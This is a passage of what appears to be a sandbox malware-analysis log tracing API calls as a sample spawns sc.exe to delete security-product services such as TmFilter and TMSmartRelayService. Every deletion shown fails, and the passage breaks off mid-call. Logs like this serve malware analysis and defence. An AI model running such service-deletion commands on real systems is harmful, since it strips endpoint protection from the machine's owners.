[0078.725] CloseServiceHandle (hSCObject=0x2a4370) returned 1 [0078.727] exit (_Code=1060) Thread: id = 107 os_tid = 0x4fc Process: id = "54" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x44c28000" os_pid = "0xabc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete TmFilter" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 108 os_tid = 0xae8 [0078.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ef830 | out: lpSystemTimeAsFileTime=0x1ef830*(dwLowDateTime=0x3853c010, dwHighDateTime=0x1d62786)) [0078.773] GetCurrentProcessId () returned 0xabc [0078.773] GetCurrentThreadId () returned 0xae8 [0078.773] GetTickCount () returned 0x1149bd3 [0078.773] QueryPerformanceCounter (in: lpPerformanceCount=0x1ef838 | out: lpPerformanceCount=0x1ef838*=19864659114) returned 1 [0078.775] GetModuleHandleW (lpModuleName=0x0) returned 0xffac0000 [0078.775] __set_app_type (_Type=0x1) [0078.775] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffac7228) returned 0x0 [0078.775] __wgetmainargs (in: _Argc=0xffacb604, _Argv=0xffacb610, _Env=0xffacb608, _DoWildCard=0, _StartInfo=0xffacb050 | out: _Argc=0xffacb604, _Argv=0xffacb610, _Env=0xffacb608) returned 0 [0078.776] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.777] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.778] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.778] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.778] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.778] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.778] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.778] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.778] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.778] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.778] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.778] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.778] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.778] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.778] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.778] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.778] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.778] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.778] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.778] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.778] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.778] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.778] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.778] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.778] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.778] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.778] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.778] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.778] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.778] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.778] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.778] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.779] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x304370 [0078.782] OpenServiceW (hSCManager=0x304370, lpServiceName="TmFilter", dwDesiredAccess=0x10000) returned 0x0 [0078.783] GetLastError () returned 0x424 [0078.783] _itow (in: _Dest=0x424, _Radix=2029208 | out: _Dest=0x424) returned="1060" [0078.783] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffacb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.784] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1ef650, nSize=0x2, Arguments=0x1ef680 | out: lpBuffer="跀0") returned 0x62 [0078.785] GetFileType (hFile=0x120) returned 0x3 [0078.785] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x308ea0 [0078.785] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x308ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n0", lpUsedDefaultChar=0x0) returned 98 [0078.785] WriteFile (in: hFile=0x120, lpBuffer=0x308ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1ef5f8, lpOverlapped=0x0 | out: lpBuffer=0x308ea0*, lpNumberOfBytesWritten=0x1ef5f8*=0x62, lpOverlapped=0x0) returned 1 [0078.785] LocalFree (hMem=0x308ea0) returned 0x0 [0078.785] LocalFree (hMem=0x308dc0) returned 0x0 [0078.785] LocalFree (hMem=0x0) returned 0x0 [0078.785] CloseServiceHandle (hSCObject=0x304370) returned 1 [0078.787] exit (_Code=1060) Thread: id = 109 os_tid = 0xbd4 Process: id = "55" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x4592d000" os_pid = "0xad0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete TMLWCSService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 110 os_tid = 0xacc [0078.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xafcf0 | out: lpSystemTimeAsFileTime=0xafcf0*(dwLowDateTime=0x38620850, dwHighDateTime=0x1d62786)) [0078.862] GetCurrentProcessId () returned 0xad0 [0078.862] GetCurrentThreadId () returned 0xacc [0078.862] GetTickCount () returned 0x1149c30 [0078.862] QueryPerformanceCounter (in: lpPerformanceCount=0xafcf8 | out: lpPerformanceCount=0xafcf8*=19873582031) returned 1 [0078.867] GetModuleHandleW (lpModuleName=0x0) returned 0xffd00000 [0078.868] __set_app_type (_Type=0x1) [0078.868] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd07228) returned 0x0 [0078.868] __wgetmainargs (in: _Argc=0xffd0b604, _Argv=0xffd0b610, _Env=0xffd0b608, _DoWildCard=0, _StartInfo=0xffd0b050 | out: _Argc=0xffd0b604, _Argv=0xffd0b610, _Env=0xffd0b608) returned 0 [0078.869] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.872] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.872] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.872] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.872] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.872] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.872] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.872] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.872] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.872] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.872] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.872] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.872] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.872] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.872] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.872] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.872] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.872] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.872] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.872] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.872] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.872] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.872] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.873] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.873] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.873] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.873] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.873] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.873] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.873] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.873] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.873] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.873] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2843d0 [0078.878] OpenServiceW (hSCManager=0x2843d0, lpServiceName="TMLWCSService", dwDesiredAccess=0x10000) returned 0x0 [0078.878] GetLastError () returned 0x424 [0078.878] _itow (in: _Dest=0x424, _Radix=719704 | out: _Dest=0x424) returned="1060" [0078.878] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffd0b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.880] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xafb10, nSize=0x2, Arguments=0xafb40 | out: lpBuffer="趰(") returned 0x62 [0078.881] GetFileType (hFile=0x120) returned 0x3 [0078.881] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x288e90 [0078.881] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x288e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n(", lpUsedDefaultChar=0x0) returned 98 [0078.881] WriteFile (in: hFile=0x120, lpBuffer=0x288e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xafab8, lpOverlapped=0x0 | out: lpBuffer=0x288e90*, lpNumberOfBytesWritten=0xafab8*=0x62, lpOverlapped=0x0) returned 1 [0078.881] LocalFree (hMem=0x288e90) returned 0x0 [0078.881] LocalFree (hMem=0x288db0) returned 0x0 [0078.881] LocalFree (hMem=0x0) returned 0x0 [0078.881] CloseServiceHandle (hSCObject=0x2843d0) returned 1 [0078.883] exit (_Code=1060) Thread: id = 111 os_tid = 0x780 Process: id = "56" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45332000" os_pid = "0x81c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete tmusa" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 112 os_tid = 0x408 [0078.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefa10 | out: lpSystemTimeAsFileTime=0xefa10*(dwLowDateTime=0x386b8dd0, dwHighDateTime=0x1d62786)) [0078.938] GetCurrentProcessId () returned 0x81c [0078.938] GetCurrentThreadId () returned 0x408 [0078.938] GetTickCount () returned 0x1149c6f [0078.939] QueryPerformanceCounter (in: lpPerformanceCount=0xefa18 | out: lpPerformanceCount=0xefa18*=19881222286) returned 1 [0078.941] GetModuleHandleW (lpModuleName=0x0) returned 0xff080000 [0078.941] __set_app_type (_Type=0x1) [0078.941] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff087228) returned 0x0 [0078.942] __wgetmainargs (in: _Argc=0xff08b604, _Argv=0xff08b610, _Env=0xff08b608, _DoWildCard=0, _StartInfo=0xff08b050 | out: _Argc=0xff08b604, _Argv=0xff08b610, _Env=0xff08b608) returned 0 [0078.942] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.951] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.952] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.952] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.952] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.952] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.952] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.952] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.952] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.952] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.952] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.952] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.952] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.952] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.952] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.952] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.952] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.952] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.952] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.952] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.952] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.952] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.952] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.952] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.952] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.952] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.953] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.953] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.953] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.953] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.953] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.953] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.953] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x244370 [0078.958] OpenServiceW (hSCManager=0x244370, lpServiceName="tmusa", dwDesiredAccess=0x10000) returned 0x0 [0078.958] GetLastError () returned 0x424 [0078.958] _itow (in: _Dest=0x424, _Radix=981112 | out: _Dest=0x424) returned="1060" [0078.958] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff08b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.960] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xef830, nSize=0x2, Arguments=0xef860 | out: lpBuffer="跀$") returned 0x62 [0078.961] GetFileType (hFile=0x120) returned 0x3 [0078.961] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x248ea0 [0078.961] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x248ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n$", lpUsedDefaultChar=0x0) returned 98 [0078.961] WriteFile (in: hFile=0x120, lpBuffer=0x248ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xef7d8, lpOverlapped=0x0 | out: lpBuffer=0x248ea0*, lpNumberOfBytesWritten=0xef7d8*=0x62, lpOverlapped=0x0) returned 1 [0078.961] LocalFree (hMem=0x248ea0) returned 0x0 [0078.961] LocalFree (hMem=0x248dc0) returned 0x0 [0078.961] LocalFree (hMem=0x0) returned 0x0 [0078.961] CloseServiceHandle (hSCObject=0x244370) returned 1 [0078.965] exit (_Code=1060) Thread: id = 113 os_tid = 0x82c Process: id = "57" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x44d37000" os_pid = "0x85c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete TmPreFilter" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 114 os_tid = 0x83c [0079.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efb70 | out: lpSystemTimeAsFileTime=0x1efb70*(dwLowDateTime=0x387c3770, dwHighDateTime=0x1d62786)) [0079.036] GetCurrentProcessId () returned 0x85c [0079.036] GetCurrentThreadId () returned 0x83c [0079.036] GetTickCount () returned 0x1149cdc [0079.036] QueryPerformanceCounter (in: lpPerformanceCount=0x1efb78 | out: lpPerformanceCount=0x1efb78*=19890996329) returned 1 [0079.038] GetModuleHandleW (lpModuleName=0x0) returned 0xffc40000 [0079.038] __set_app_type (_Type=0x1) [0079.038] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc47228) returned 0x0 [0079.038] __wgetmainargs (in: _Argc=0xffc4b604, _Argv=0xffc4b610, _Env=0xffc4b608, _DoWildCard=0, _StartInfo=0xffc4b050 | out: _Argc=0xffc4b604, _Argv=0xffc4b610, _Env=0xffc4b608) returned 0 [0079.039] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.041] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.041] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0079.041] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0079.041] _wcsicmp (_String1="delete", _String2="query") returned -13 [0079.041] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0079.041] _wcsicmp (_String1="delete", _String2="start") returned -15 [0079.041] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0079.041] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0079.041] _wcsicmp (_String1="delete", _String2="control") returned 1 [0079.042] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0079.042] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0079.042] _wcsicmp (_String1="delete", _String2="config") returned 1 [0079.042] _wcsicmp (_String1="delete", _String2="description") returned -7 [0079.042] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0079.042] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0079.042] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0079.042] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0079.042] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0079.042] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0079.042] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0079.042] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0079.042] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0079.042] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0079.042] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0079.042] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0079.042] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0079.042] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0079.042] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0079.042] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0079.042] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0079.042] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0079.042] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3e4370 [0079.046] OpenServiceW (hSCManager=0x3e4370, lpServiceName="TmPreFilter", dwDesiredAccess=0x10000) returned 0x0 [0079.047] GetLastError () returned 0x424 [0079.047] _itow (in: _Dest=0x424, _Radix=2030040 | out: _Dest=0x424) returned="1060" [0079.047] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffc4b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0079.049] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1ef990, nSize=0x2, Arguments=0x1ef9c0 | out: lpBuffer="跀>") returned 0x62 [0079.050] GetFileType (hFile=0x120) returned 0x3 [0079.050] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3e8ea0 [0079.050] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3e8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n>", lpUsedDefaultChar=0x0) returned 98 [0079.050] WriteFile (in: hFile=0x120, lpBuffer=0x3e8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1ef938, lpOverlapped=0x0 | out: lpBuffer=0x3e8ea0*, lpNumberOfBytesWritten=0x1ef938*=0x62, lpOverlapped=0x0) returned 1 [0079.050] LocalFree (hMem=0x3e8ea0) returned 0x0 [0079.050] LocalFree (hMem=0x3e8dc0) returned 0x0 [0079.050] LocalFree (hMem=0x0) returned 0x0 [0079.050] CloseServiceHandle (hSCObject=0x3e4370) returned 1 [0079.052] exit (_Code=1060) Thread: id = 115 os_tid = 0x88c Process: id = "58" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x4563c000" os_pid = "0x89c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete TMSmartRelayService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 116 os_tid = 0x86c [0079.115] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f830 | out: lpSystemTimeAsFileTime=0x20f830*(dwLowDateTime=0x38881e50, dwHighDateTime=0x1d62786)) [0079.115] GetCurrentProcessId () returned 0x89c [0079.115] GetCurrentThreadId () returned 0x86c [0079.115] GetTickCount () returned 0x1149d2a [0079.115] QueryPerformanceCounter (in: lpPerformanceCount=0x20f838 | out: lpPerformanceCount=0x20f838*=19898915425) returned 1 [0079.117] GetModuleHandleW (lpModuleName=0x0) returned 0xff7e0000 [0079.117] __set_app_type (_Type=0x1) [0079.117] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff7e7228) returned 0x0 [0079.117] __wgetmainargs (in: _Argc=0xff7eb604, _Argv=0xff7eb610, _Env=0xff7eb608, _DoWildCard=0, _StartInfo=0xff7eb050 | out: _Argc=0xff7eb604, _Argv=0xff7eb610, _Env=0xff7eb608) returned 0 [0079.118] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.120] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.120] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0079.120] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0079.120] _wcsicmp (_String1="delete", _String2="query") returned -13 [0079.120] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0079.120] _wcsicmp (_String1="delete", _String2="start") returned -15 [0079.120] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0079.120] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0079.120] _wcsicmp (_String1="delete", _String2="control") returned 1 [0079.120] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0079.120] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0079.120] _wcsicmp (_String1="delete", _String2="config") returned 1 [0079.120] _wcsicmp (_String1="delete", _String2="description") returned -7 [0079.120] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0079.120] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0079.120] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0079.120] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0079.120] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0079.120] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0079.120] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0079.120] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0079.120] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0079.121] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0079.121] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0079.121] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0079.121] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0079.121] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0079.121] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0079.121] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0079.121] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0079.121] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0079.121] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3043e0 [0079.124] OpenServiceW (hSCManager=0x3043e0, lpServiceName="TMSmartRelayService", dwDesiredAccess=0x10000) returned 0x0 [0079.125] GetLastError () returned 0x424 [0079.125] _itow (in: _Dest=0x424, _Radix=2160280 | out: _Dest=0x424) returned="1060" [0079.125] FormatMessageW (in: 